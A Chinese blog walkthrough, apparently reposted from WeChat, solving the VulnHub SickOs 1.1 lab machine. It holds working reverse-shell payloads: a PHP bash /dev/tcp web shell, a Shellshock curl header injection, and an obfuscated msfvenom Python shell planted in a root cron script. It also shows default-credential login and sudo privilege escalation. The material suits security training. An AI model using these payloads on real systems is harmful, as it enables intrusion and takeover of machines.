阅读须知
技术文章仅供参考,此文所提供的信息仅用于学习,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。本文所提供的工具仅用于学习,禁止用于其他!!!
我们进行红队靶场系列,vulnhub靶机中的SickOs 1.1
选用工具:
VM17 官网下载
kali 2023.3版 https://mirrors.tuna.tsinghua.edu.cn/kali-images/kali-2023.3/
靶场文件 https://download.vulnhub.com/sickos/sick0s1.1.7z
前期准备工作搞定后,我们继续。
-
主机发现
同样使用 arp-scan
sudo arp-scan -l
NMAP标准四件套
-
端口扫描
-
详细扫描(版本检测)
-
udp扫描
-
漏洞初探
以下命令具体的解释在这个系列的第一篇上:
a.端口扫描
sudo nmap -sT --min-rate 10000 -p- 192.168.198.130 -oA nmapscan/ports
b.详细扫描
sudo nmap -sT -sV -sC -O -p22,8080,3128 192.168.198.130 -oA nmapscan/detail
c.udp扫描
sudo nmap -sU --top-ports 20 192.168.198.130 -oA nmapscan/udp
d.漏洞初探
虽说8080是关闭的,但还是把它加上
sudo nmap --script=vuln -p22,8080,3128 192.168.198.130 -oA nmapscan/vuln
通过这nmap的四次探测,我们进行汇总,可以得到下面的这些信息:
有8080端口,但是关闭
3128端口,使用了squid代理,版本为:3.1.19
22端口,ssh
突破点可以猜到在3128(squid代理)上
浏览器访问3128端口。
同时,尝试访问8080端口,发现不行。
现在我们在3128这个初始页面上看不到什么信息。
现在让工具进行扫描的同时,进行搜索、了解squid。
dirb http://192.168.198.130:3128
搜索结果:
接下来,我们将3128作为代理,进行扫描。
dirb http://192.168.198.130 -p http://192.168.198.130:3128
很好,扫出了不少信息。
我们现在使用浏览器进行访问这几个页面。
第一步,改用squid代理。
挂上代理,访问robots页面。(发现robots和robots.txt内容一致)
访问:192.168.198.130/connect 页面
得到:connect 文件
这个文件先放在这,在robots中,有wolfcms的字样。
尝试拼凑路径,比如:/wolf 、/wolfcms 之类的,失败的话,再搜索默认路径。
使用 /wolfcms ,发现可以。
搜一下管理员登录路径
尝试一下 " wolfcms/?/admin/ "
通过上面的默认界面,可以判断这是一个还处于测试阶段的网站。那么很有可能存在默认密码,或者说弱密码。
我们先试几个弱密码,不行的话,再搜索默认密码。
发现使用 admin/admin 成功登录,就不需要后续搜索了。
查看该CMS的功能,发现存在文件上传、源码可修改、添加等漏洞。
我们在其中一处添加木马。
使用木马如下:
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.198.128/4444 0>&1'");
保存,在kali上先做好nc监听,再触发代码执行。
成功触发并接收。
进入系统后,先进行获取信息(信息收集)
一般会进行如下命令:
whoami
ip a
uname -a
uname -s
ls
cat /etc/passwd
在配置文件config.php中,存在用户名、密码。
可以尝试使用ssh进行连接。先放着,继续走。
基础信息都收集完了,我们来尝试SSH链接。
我们现在有的可能是账号密码有:
root
sickos
john@123
john
进行排列组合,尝试登录。
经过尝试,使用 sickos/john@123 成功登陆。
查看系统权限。
发现为三个ALL,这基本上就意味着root权限了。
使用bach命令进行提权。
这台主机就拿下了。
总结一下思路,攻击链如下:
这是第一种解法,下面进行第二种解法。
这次使用 nikto 工具进行扫描。(挂代理)
sudo nikto -h http://192.168.198.130 -useproxy http://192.168.198.130:3128
发现存在 "shellshock" 漏洞。尝试,进行测试是否可行。
sudo curl -v --proxy http://192.168.198.130:3128 http://192.168.198.130/cgi-bin/status -H "Referer:() { test;}; echo 'Content-Type: text/plain'; echo; echo; /usr/bin/id; exit"
可行。继续构造payload
sudo msfvenom -p cmd/unix/reverse_bash lhost=192.168.198.130 lport=4444 -f raw
生成poc为:
0<&66-;exec 66<>/dev/tcp/192.168.198.130/4444;sh <&66 >&66 2>&66
将 sh 改为 bin/bash 减少连接失败机率。
0<&66-;exec 66<>/dev/tcp/192.168.198.130/4444;/bin/bash <&66 >&66 2>&66
最终的payload为:
sudo curl --proxy http://192.168.198.130:3128 http://192.168.198.130/cgi-bin/status -H "Referer:() { test;}; 0<&66-;exec 66<>/dev/tcp/192.168.198.128/4444;/bin/bash <&66 >&66 2>&66"
为半交互式的shell,接下来尝试python提升为全交互式。
python -c "import pty;pty.spawn('/bin/bash')"
访问/var/www ,这是网站的默认路径。
这个Python文件实际上是一个关于定时任务的提示。
接下来,我们需要做的工作就是找到这个定时任务。
查看crontab,发现不是
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# m h dom mon dow user command
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
继续试cron.d 路径。
在automate文件中,发现了定时任务。
定时以 root 权限执行connect.py文件。
利用MSF编写Python的反弹木马
sudo msfvenom -p cmd/unix/reverse_python lhost=192.168.198.128 lport=4445 -f raw
木马为:
python -c "exec(__import__('zlib').decompress(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('eNrLzC3ILypRKM5Pzk4tUYABHTiruDSpoCg/ObW4GItkPkLQGkxm5BeX2CoZWhrpGZpZ6BlaArGRhRKaIpCFtiYmJqZo4sW2EFfoQSgNKM/RLd7TzzUEm9sgCoL9nb3jg0OCXB19NdGN1EvOz8tLTS7R0AA5DYsZIMdoomvLL9ZLKS0w0ijWS8vMSc3L19DEotOALF2GZOkyQtdVYIuIGL3kxJwcDSX9pMw8/eIMJU0A7RppWw==')[0])))"
对connect.py文件进行插入木马操作。使用vi操作的时候,确实会存在乱码等等情况。
完成后,就是等待定时任务的执行。
成功出现。连接成功。
第二种方法,主要是利用 "shellshock" 漏洞,这个经典漏洞,虽然年代久远了,但复现一遍依然有他的意义。
今天这篇靶机复现到这里就结束了,我们下期见。
都看到这了,就点个免费的赞呗!\( ^▽^ )/
原文始发于微信公众号(Glass的网安笔记):【红队靶机系列】--SickOs 1.1
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论